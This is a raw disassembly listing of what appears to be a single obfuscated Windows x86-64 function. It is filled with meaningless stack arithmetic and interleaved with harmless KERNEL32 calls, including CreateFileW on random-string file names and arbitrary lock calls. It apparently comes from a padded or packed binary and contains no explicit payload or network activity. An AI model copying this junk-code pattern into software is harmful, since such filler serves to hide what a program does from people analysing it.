mov qword [rsp + 0x14df8], rax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13f28]
mov rcx, qword [rsp + 0x14360]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d0c], eax
mov eax, dword [rsp + 0x7c60]
mov rcx, qword [rsp + 0x12f40]
mov qword [rsp + 0x14e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7a5c], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4b7f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9fe4], eax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x14e08], rax
movzx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0x13288]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140363f5e], al
mov eax, dword [rsp + 0x8180]
mov ecx, dword [rsp + 0x6f2c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5fe8], eax
mov rax, qword [rsp + 0x14888]
mov rcx, qword [rsp + 0x14028]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9518], eax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa054], eax
mov rax, qword [0x140369da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x77cc], eax
mov eax, dword [rsp + 0x9b6c]
mov ecx, dword [rsp + 0x9f5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d78], eax
movzx eax, word [rsp + 0x2c84]
mov word [rsp + 0x2cec], ax
movzx eax, byte [rsp + 0x732]
movzx ecx, byte [rsp + 0x758]
add eax, ecx
mov byte [rsp + 0x74e], al
lea rax, [rsp + 0x11d8]
mov qword [rsp + 0x14e10], rax
lea rcx, [rsp + 0x4c210]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9dc0], eax
mov rax, qword [rsp + 0x13a40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x135a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x74b], al
lea rax, [0x140369b98]
mov qword [0x14036a0a8], rax
mov rax, qword [rsp + 0x13fe0]
mov rcx, qword [rsp + 0x14b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92e8], eax
lea rax, [rsp + 0x2c74]
mov qword [rsp + 0x14e18], rax
movzx eax, byte [rsp + 0x735]
mov rcx, qword [rsp + 0x14380]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14c40]
mov byte [rcx], al
lea rax, [rsp + 0x9d84]
mov qword [rsp + 0x14e20], rax
mov rax, qword [rsp + 0x14928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9db4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147e8]
mov rcx, qword [rsp + 0x13000]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7384], eax
mov rax, qword [rsp + 0x144a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14e28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xca8
mov r8d, 0x1f8a
mov edx, 0x7f
mov rcx, qword [rsp + 0x13388]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9c18], eax
movzx eax, byte [rsp + 0x734]
mov rcx, qword [rsp + 0x13120]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x744], al
mov rax, qword [rsp + 0x13898]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x140369fe8], ax
lea rax, [rsp + 0x9abc]
mov qword [rsp + 0x14e30], rax
mov rax, qword [rsp + 0x14c70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9bec]
sar eax, cl
mov dword [rsp + 0x9e88], eax
mov eax, dword [rsp + 0x9ef0]
mov dword [rsp + 0xa058], eax
mov rax, qword [rsp + 0x14af8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f04]
shl eax, cl
mov rcx, qword [rsp + 0x149f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13900]
movzx eax, byte [rax]
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x14960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x268c]
and eax, ecx
mov word [rsp + 0x2c70], ax
lea rax, [rsp + 0x74e]
mov qword [rsp + 0x14e38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx eax, word [0x140369c6c]
movzx ecx, word [rsp + 0x2b84]
and eax, ecx
mov word [0x140362494], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.7xnWnzBYj_tG_tCodazead_v1ua7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14e40], rax
mov rax, qword [rsp + 0x12f58]
mov rcx, qword [rsp + 0x14100]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x148c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f50]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c7c]
add eax, ecx
mov word [rsp + 0x18a4], ax
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x266]
and eax, ecx
mov rcx, qword [rsp + 0x14ab8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13890]
mov eax, dword [rax]
mov dword [rsp + 0xa05c], eax
mov rax, qword [rsp + 0x14290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7dd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [0x140369b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x149a8]
mov dword [rcx], eax
lea rax, [rsp + 0x5784]
mov qword [rsp + 0x14e48], rax
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ccc]
add eax, ecx
mov word [0x1403624f0], ax
movzx eax, byte [rsp + 0x5cb]
mov rcx, qword [rsp + 0x14c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov byte [rcx], al
lea rax, [rsp + 0x99b8]
mov qword [rsp + 0x14e50], rax
mov eax, dword [rsp + 0x66b0]
mov ecx, dword [rsp + 0x9b20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cf0], eax
movsx eax, word [rsp + 0x2cd0]
mov rcx, qword [0x140369e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2194], ax
lea rdx, [rsp + 0x42bf8]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fd0], eax
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x754]
xor eax, ecx
mov rcx, qword [rsp + 0x144b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [0x140369e90]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x6c0], al
lea rax, [rsp + 0x2324]
mov qword [rsp + 0x14e58], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa060], eax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9af8], eax
mov eax, dword [rsp + 0x9688]
mov rcx, qword [rsp + 0x13f50]
mov qword [rsp + 0x14e60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e60]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x130b0]
mov dword [rcx], eax
mov eax, dword [0x14036245c]
mov rcx, qword [rsp + 0x13b38]
mov qword [rsp + 0x14e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e68]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140369fec], eax
lea rax, [rsp + 0x8e74]
mov qword [rsp + 0x14e70], rax
mov rax, qword [rsp + 0x14d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8180]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ce8]
mov ecx, dword [0x140369f28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e6c], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4c210]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9dcc], eax
mov rax, qword [rsp + 0x14250]
movzx eax, word [rax]
mov word [rsp + 0x2cf0], ax
mov rax, qword [rsp + 0x14768]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x88]
and eax, ecx
mov rcx, qword [rsp + 0x14d40]
mov byte [rcx], al
mov eax, dword [rsp + 0x9cf4]
mov dword [rsp + 0xa064], eax
mov rax, qword [0x140369f30]
mov rcx, qword [rsp + 0x145b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x148c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x14578]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9e4c], eax
mov rax, qword [0x140369eb0]
mov eax, dword [rax]
mov dword [0x14036a0b0], eax
lea rax, [rsp + 0x768]
mov qword [rsp + 0x14e78], rax
movzx eax, word [rsp + 0x2bac]
movzx ecx, word [rsp + 0x17e8]
imul eax, ecx
mov rcx, qword [rsp + 0x12f18]
mov word [rcx], ax
lea rax, [rsp + 0x2c70]
mov qword [rsp + 0x14e80], rax
movsx eax, byte [rsp + 0x184]
movsx ecx, byte [rsp + 0x754]
add eax, ecx
mov byte [rsp + 0x762], al
mov rax, qword [rsp + 0x13c08]
mov ecx, dword [rsp + 0x9f8c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c28]
mov dword [rcx], eax
lea rax, [rsp + 0x9bfc]
mov qword [rsp + 0x14e88], rax
movzx eax, word [0x14036a008]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14000]
mov word [rcx], ax
lea rax, [rsp + 0x702]
mov qword [rsp + 0x14e90], rax
mov rax, qword [rsp + 0x14128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac0]
sub ecx, eax
mov eax, ecx
mov dword [0x1403624f4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa068], eax
mov rax, qword [rsp + 0x14220]
mov rcx, qword [rsp + 0x14bc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9bc0], eax
mov eax, dword [rsp + 0x870c]
movzx ecx, al
mov eax, dword [rsp + 0x7df0]
sar eax, cl
mov dword [rsp + 0x7e58], eax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369e40]
shl eax, cl
mov dword [rsp + 0x9e84], eax
mov rax, qword [rsp + 0x14cf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14948]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x742], al
movzx eax, word [rsp + 0x2c40]
mov word [rsp + 0x2cf4], ax
mov rax, qword [rsp + 0x14038]
mov rcx, qword [rsp + 0x13860]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b00], eax
lea rax, [rsp + 0x9cc0]
mov qword [rsp + 0x14e98], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x148c8]
mov rcx, qword [rsp + 0x13978]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14780]
mov eax, dword [rax]
mov ecx, dword [0x14036a00c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14460]
mov ecx, dword [rsp + 0x9d7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x52a8], eax
mov rcx, qword [rsp + 0x14990]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9e24], eax
lea rax, [rsp + 0x512]
mov qword [rsp + 0x14ea0], rax
mov rcx, qword [rsp + 0x13b60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x137a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ba0]
and eax, ecx
mov rcx, qword [rsp + 0x14280]
mov word [rcx], ax
mov rax, qword [rsp + 0x148c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14068]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c4], al
movzx eax, word [rsp + 0x2bd0]
movzx ecx, word [rsp + 0x178c]
imul eax, ecx
mov rcx, qword [rsp + 0x13728]
mov word [rcx], ax
mov eax, dword [rsp + 0x9d78]
mov ecx, dword [rsp + 0x5330]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13490]
mov dword [rcx], eax
lea rax, [rsp + 0x9c88]
mov qword [rsp + 0x14ea8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa06c], eax
mov rax, qword [0x140369c98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13668]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x130d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x146f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12f18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140362468], ax
mov eax, dword [rsp + 0x833c]
mov dword [rsp + 0xa070], eax
mov rax, qword [rsp + 0x14070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ab4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ab4]
mov dword [rsp + 0xa074], eax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e38], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14eb0], rax
mov rax, qword [rsp + 0x14800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ff8], eax
mov rax, qword [0x140369cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13728]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x146f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2ce]
movzx ecx, byte [rsp + 0x780]
shl eax, cl
mov byte [rsp + 0x229], al
mov eax, dword [rsp + 0x9ebc]
mov rcx, qword [rsp + 0x14108]
mov qword [rsp + 0x14eb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14eb8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9730], eax
lea rax, [rsp + 0x9df8]
mov qword [rsp + 0x14ec0], rax
mov rcx, qword [rsp + 0x14db8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9e24], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9c14], eax
movzx eax, word [rsp + 0x12ec]
mov word [0x14036a0b4], ax
movsx eax, byte [rsp + 0x72c]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13f00]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, word [rsp + 0x1eb0]
movzx ecx, word [rsp + 0x2ca4]
or eax, ecx
mov rcx, qword [rsp + 0x13568]
mov word [rcx], ax
movzx eax, byte [rsp + 0x716]
mov byte [rsp + 0x784], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14ec8], rax
mov eax, dword [0x140369b98]
mov ecx, dword [rsp + 0x8e2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d90], eax
mov eax, dword [rsp + 0x8f30]
mov ecx, dword [rsp + 0x69c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x77ac], eax
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9acc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c20]
mov ecx, dword [rsp + 0xa05c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56e4], eax
lea rax, [rsp + 0x9cb4]
mov qword [rsp + 0x14ed0], rax
mov edx, 0x1c16
mov rcx, qword [rsp + 0x135e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b94], eax
mov rax, qword [rsp + 0x14a98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x147d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13950]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x370e
mov r9d, 0x3c45
mov r8d, 0x28bb
mov edx, 0x2a4c
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9fd8], eax
movzx eax, word [0x1403624d8]
movzx ecx, word [rsp + 0x2c18]
sub eax, ecx
mov word [0x140362494], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa078], eax
lea rax, [rsp + 0x8934]
mov qword [rsp + 0x14ed8], rax
mov rax, qword [rsp + 0x13b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ed4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ae8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f88], eax
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov dword [rsp + 0xa07c], eax
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
movzx ecx, word [0x140369c6c]
add eax, ecx
mov rcx, qword [rsp + 0x13158]
mov word [rcx], ax
mov edx, 0x197b
mov rcx, qword [rsp + 0x13b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa080], eax
lea rax, [rsp + 0x75f]
mov qword [rsp + 0x14ee0], rax
mov rax, qword [rsp + 0x14db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x766]
sub eax, ecx
mov rcx, qword [rsp + 0x14868]
mov byte [rcx], al
movsx eax, word [rsp + 0x2c9c]
mov rcx, qword [0x140369e80]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2074], ax
mov rax, qword [rsp + 0x14428]
mov eax, dword [rax]
mov dword [0x14036a0b8], eax
mov rax, qword [rsp + 0x143b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x702c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x243]
mov rcx, qword [rsp + 0x14a68]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14d30]
mov byte [rcx], al
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x14ee8], rax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0x9bac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5c14], eax
mov eax, dword [0x140369cd0]
mov dword [rsp + 0xa084], eax
mov rax, qword [rsp + 0x13cb8]
mov ecx, dword [rsp + 0x9eac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c90], eax
mov rax, qword [rsp + 0x13690]
mov ecx, dword [rsp + 0x7df0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x873c], eax
mov rax, qword [rsp + 0x14a68]
movzx eax, byte [rax]
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x13810]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13370]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14036a058], ax
mov rax, qword [rsp + 0x134f0]
mov ecx, dword [rsp + 0x9ddc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5418], eax
mov rcx, qword [rsp + 0x14318]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9fb4], eax
lea rax, [0x140369ea0]
mov qword [rsp + 0x14ef0], rax
mov rax, qword [rsp + 0x132b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144e8]
mov ecx, dword [rsp + 0xa05c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ed8]
mov dword [rcx], eax
lea rax, [0x140362470]
mov qword [rsp + 0x14ef8], rax
movsx eax, word [rsp + 0x2194]
mov rcx, qword [rsp + 0x14488]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13d58]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6a8], al
movzx eax, byte [rsp + 0x708]
movzx ecx, byte [rsp + 0x732]
sub eax, ecx
mov byte [rsp + 0x70d], al
lea rax, [rsp + 0x2a2c]
mov qword [0x14036a0c0], rax
lea rax, [rsp + 0x9b70]
mov qword [rsp + 0x14f00], rax
mov rax, qword [rsp + 0x12de0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369e40]
shr eax, cl
mov rcx, qword [rsp + 0x14480]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x88]
movzx ecx, byte [rsp + 0x734]
xor eax, ecx
mov rcx, qword [rsp + 0x14978]
mov byte [rcx], al
lea rax, [rsp + 0x1ab8]
mov qword [rsp + 0x14f08], rax
mov rax, qword [rsp + 0x12ef0]
mov eax, dword [rax]
mov rcx, qword [0x140369f80]
mov qword [rsp + 0x14f10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a2c], eax
lea rdx, [rsp + 0x42d80]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa088], eax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov dword [rsp + 0xa08c], eax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a0c], eax
mov eax, dword [rsp + 0x9d74]
mov ecx, dword [rsp + 0x9dd4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9db8], eax
mov rax, qword [rsp + 0x13108]
mov rcx, qword [rsp + 0x13a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d08], eax
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13478]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140369ea8], ax
lea rax, [0x140363f5c]
mov qword [rsp + 0x14f18], rax
mov rax, qword [rsp + 0x14308]
mov rcx, qword [rsp + 0x141b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14058]
mov dword [rcx], eax
lea rax, [rsp + 0x8fa4]
mov qword [rsp + 0x14f20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movsx eax, byte [rsp + 0x751]
mov rcx, qword [0x14036a010]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14650]
mov byte [rcx], al
movsx eax, word [rsp + 0x1350]
mov rcx, qword [rsp + 0x14e10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13148]
mov word [rcx], ax
mov rax, qword [rsp + 0x13508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x204c]
add eax, ecx
mov word [rsp + 0x14bc], ax
movzx eax, byte [0x1403525ba]
mov rcx, qword [rsp + 0x140c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13980]
mov byte [rcx], al
mov eax, dword [rsp + 0x59d0]
mov dword [rsp + 0xa090], eax
lea rax, [rsp + 0x8cfc]
mov qword [0x14036a0c8], rax
mov rax, qword [rsp + 0x144a0]
mov ecx, dword [0x140369bc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e28]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.ymgH7qFAOrXXV1BLyRX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14f28], rax
mov rax, qword [rsp + 0x13fc0]
mov ecx, dword [rsp + 0x5330]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14800]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9f48]
mov dword [rsp + 0xa094], eax
mov rax, qword [0x140369c98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74f]
imul eax, ecx
mov rcx, qword [rsp + 0x12fe0]
mov byte [rcx], al
movzx eax, word [rsp + 0x17fc]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2198], ax
mov rax, qword [rsp + 0x13040]
mov ecx, dword [rsp + 0x602c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13ad8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9cc8]
mov dword [rsp + 0xa098], eax
mov eax, dword [rsp + 0x8cfc]
mov rcx, qword [rsp + 0x13160]
mov qword [rsp + 0x14f30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f30]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9ce4], eax
mov eax, dword [0x140369fe4]
movzx ecx, al
mov eax, dword [rsp + 0x9b2c]
shl eax, cl
mov rcx, qword [0x140369e70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c40]
movzx ecx, word [rsp + 0x2be4]
and eax, ecx
mov rcx, qword [rsp + 0x13158]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74e]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x69c], al
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9d6c], eax
movsx eax, byte [0x140363f1e]
movsx ecx, byte [rsp + 0x743]
sub eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0x130c0]
movzx eax, word [rax]
mov word [rsp + 0x2cf8], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x430
mov r9d, 0x2aed
mov r8d, 0x40dcb7b0
mov edx, 2
mov rcx, qword [rsp + 0x14688]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9bf8], eax
mov rax, qword [rsp + 0x12de0]
mov ecx, dword [rsp + 0x9b8c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x59d0], eax
